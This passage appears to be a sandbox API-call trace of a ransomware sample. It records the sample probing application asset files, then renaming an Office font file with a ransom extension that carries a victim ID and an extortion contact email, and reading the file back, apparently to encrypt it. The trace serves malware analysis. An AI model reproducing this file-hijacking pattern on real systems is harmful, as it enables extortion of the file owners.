pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\FileIcons\\FileLogoExtensions.targetsize-256.png", len=0x90 | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\FileIcons\\FileLogoExtensions.targetsize-256.png") returned 1 [0274.638] GetProcessHeap () returned 0x630000 [0274.638] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c4c) returned 0x6fe3bb0 [0274.638] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\FileIcons\\FileLogoExtensions.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\fileicons\\filelogoextensions.targetsize-256.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.639] Sleep (dwMilliseconds=0x1) [0274.651] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\FileIcons\\FileLogoExtensions.targetsize-24.png", len=0x8f | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\FileIcons\\FileLogoExtensions.targetsize-24.png") returned 1 [0274.651] GetProcessHeap () returned 0x630000 [0274.651] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c48) returned 0x6fe3bb0 [0274.652] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\FileIcons\\FileLogoExtensions.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\fileicons\\filelogoextensions.targetsize-24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.653] Sleep (dwMilliseconds=0x1) [0274.668] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageWideTile.scale-200_contrast-white.png", len=0x9f | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageWideTile.scale-200_contrast-white.png") returned 1 [0274.668] GetProcessHeap () returned 0x630000 [0274.668] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c3c) returned 0x6fe3bb0 [0274.668] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageWideTile.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackagewidetile.scale-200_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.671] Sleep (dwMilliseconds=0x1) [0274.682] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageStoreLogo.scale-200_contrast-white.png", len=0xa0 | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageStoreLogo.scale-200_contrast-white.png") returned 1 [0274.682] GetProcessHeap () returned 0x630000 [0274.682] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c38) returned 0x6fe3bb0 [0274.683] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageStoreLogo.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackagestorelogo.scale-200_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.684] Sleep (dwMilliseconds=0x1) [0274.698] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageSplashScreen.scale-200_contrast-white.png", len=0xa3 | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageSplashScreen.scale-200_contrast-white.png") returned 1 [0274.698] GetProcessHeap () returned 0x630000 [0274.698] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c34) returned 0x6fe3bb0 [0274.698] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageSplashScreen.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackagesplashscreen.scale-200_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.700] Sleep (dwMilliseconds=0x1) [0274.718] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-96_contrast-white.png", len=0xa2 | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-96_contrast-white.png") returned 1 [0274.719] GetProcessHeap () returned 0x630000 [0274.719] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c20) returned 0x6fe3bb0 [0274.719] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-96_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.targetsize-96_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.723] Sleep (dwMilliseconds=0x1) [0274.729] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-96_altform-unplated_contrast-white.png", len=0xb3 | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-96_altform-unplated_contrast-white.png") returned 1 [0274.729] GetProcessHeap () returned 0x630000 [0274.729] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c1c) returned 0x6fe3bb0 [0274.729] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-96_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.targetsize-96_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.731] Sleep (dwMilliseconds=0x1) [0274.751] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-60_contrast-white.png", len=0xa2 | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-60_contrast-white.png") returned 1 [0274.751] GetProcessHeap () returned 0x630000 [0274.751] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c00) returned 0x6fe3bb0 [0274.751] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-60_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.targetsize-60_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.755] Sleep (dwMilliseconds=0x1) [0274.761] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-60_altform-unplated_contrast-white.png", len=0xb3 | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-60_altform-unplated_contrast-white.png") returned 1 [0274.761] GetProcessHeap () returned 0x630000 [0274.761] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bfc) returned 0x6fe3bb0 [0274.761] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-60_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.targetsize-60_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.762] Sleep (dwMilliseconds=0x1) [0274.782] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-32_altform-unplated_contrast-white.png", len=0xb3 | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-32_altform-unplated_contrast-white.png") returned 1 [0274.782] GetProcessHeap () returned 0x630000 [0274.782] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4be0) returned 0x6fe3bb0 [0274.782] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-32_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.targetsize-32_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.787] Sleep (dwMilliseconds=0x1) [0274.792] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-30_altform-unplated_contrast-white.png", len=0xb3 | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-30_altform-unplated_contrast-white.png") returned 1 [0274.792] GetProcessHeap () returned 0x630000 [0274.792] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bd8) returned 0x6fe3bb0 [0274.792] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-30_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.targetsize-30_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.793] Sleep (dwMilliseconds=0x1) [0274.816] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-16_altform-unplated_contrast-white.png", len=0xb3 | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-16_altform-unplated_contrast-white.png") returned 1 [0274.816] GetProcessHeap () returned 0x630000 [0274.816] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bb8) returned 0x6fe3bb0 [0274.816] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-16_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.targetsize-16_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.818] Sleep (dwMilliseconds=0x1) [0274.824] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageSplashScreen.scale-200_contrast-black.png", len=0xa3 | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageSplashScreen.scale-200_contrast-black.png") returned 1 [0274.824] GetProcessHeap () returned 0x630000 [0274.824] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bb0) returned 0x6fe3bb0 [0274.824] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageSplashScreen.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackagesplashscreen.scale-200_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.827] Sleep (dwMilliseconds=0x1) [0274.842] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-96_altform-unplated_contrast-black.png", len=0xb3 | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-96_altform-unplated_contrast-black.png") returned 1 [0274.842] GetProcessHeap () returned 0x630000 [0274.842] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b98) returned 0x6fe3bb0 [0274.842] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-96_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.targetsize-96_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.844] Sleep (dwMilliseconds=0x1) [0274.861] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-60_contrast-black.png", len=0xa2 | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-60_contrast-black.png") returned 1 [0274.861] GetProcessHeap () returned 0x630000 [0274.861] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b7c) returned 0x6fe3bb0 [0274.861] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-60_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.targetsize-60_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.863] Sleep (dwMilliseconds=0x1) [0274.874] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-40_altform-unplated_contrast-black.png", len=0xb3 | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-40_altform-unplated_contrast-black.png") returned 1 [0274.874] GetProcessHeap () returned 0x630000 [0274.874] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b68) returned 0x6fe3bb0 [0274.874] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-40_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.targetsize-40_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.875] Sleep (dwMilliseconds=0x1) [0274.893] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-24_contrast-black.png", len=0xa2 | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-24_contrast-black.png") returned 1 [0274.893] GetProcessHeap () returned 0x630000 [0274.893] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b44) returned 0x6fe3bb0 [0274.893] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-24_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.targetsize-24_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.895] Sleep (dwMilliseconds=0x1) [0274.904] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-16_contrast-black.png", len=0xa2 | out: pbstr=0x46fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-16_contrast-black.png") returned 1 [0274.904] GetProcessHeap () returned 0x630000 [0274.904] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b34) returned 0x6fe3bb0 [0274.904] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageAppList.targetsize-16_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackageapplist.targetsize-16_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.905] Sleep (dwMilliseconds=0x1) [0274.934] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKB.TTF", len=0x42 | out: pbstr=0x46fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKB.TTF") returned 1 [0274.934] GetProcessHeap () returned 0x630000 [0274.934] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b18) returned 0x6fe3bb0 [0274.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKB.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rockb.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0274.968] CloseHandle (hObject=0x6a4) returned 1 [0274.969] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0274.969] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKB.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rockb.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKB.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rockb.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0274.974] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0274.974] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKB.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88c7ae78, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88c7ae78, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8966a531, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10cac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROCKB.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ROCKBT~1.FIR")) returned 0x6d5200 [0274.977] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0274.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\ROCKB.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\rockb.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0274.998] GetProcessHeap () returned 0x630000 [0274.998] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72b84a0 [0274.999] GetProcessHeap () returned 0x630000 [0274.999] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71803a8 [0274.999] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.999] ReadFile (in: hFile=0x6a4, lpBuffer=0x72b84a0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b84a0*, lpNumberOfBytesRead=0x46fff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 56 os_tid = 0xfa0 [0067.525] Sleep (dwMilliseconds=0x1) [0067.536] Sleep (dwMilliseconds=0x1) [0067.555] Sleep (dwMilliseconds=0x1) [0067.654] Sleep (dwMilliseconds=0x1) [0067.664] Sleep (dwMilliseconds=0x1) [0067.677] Sleep (dwMilliseconds=0x1) [0067.695] Sleep (dwMilliseconds=0x1) [0067.708] Sleep (dwMilliseconds=0x1) [0067.727] Sleep (dwMilliseconds=0x1) [0067.739] Sleep (dwMilliseconds=0x1) [0067.765] Sleep (dwMilliseconds=0x1) [0067.771] Sleep (dwMilliseconds=0x1) 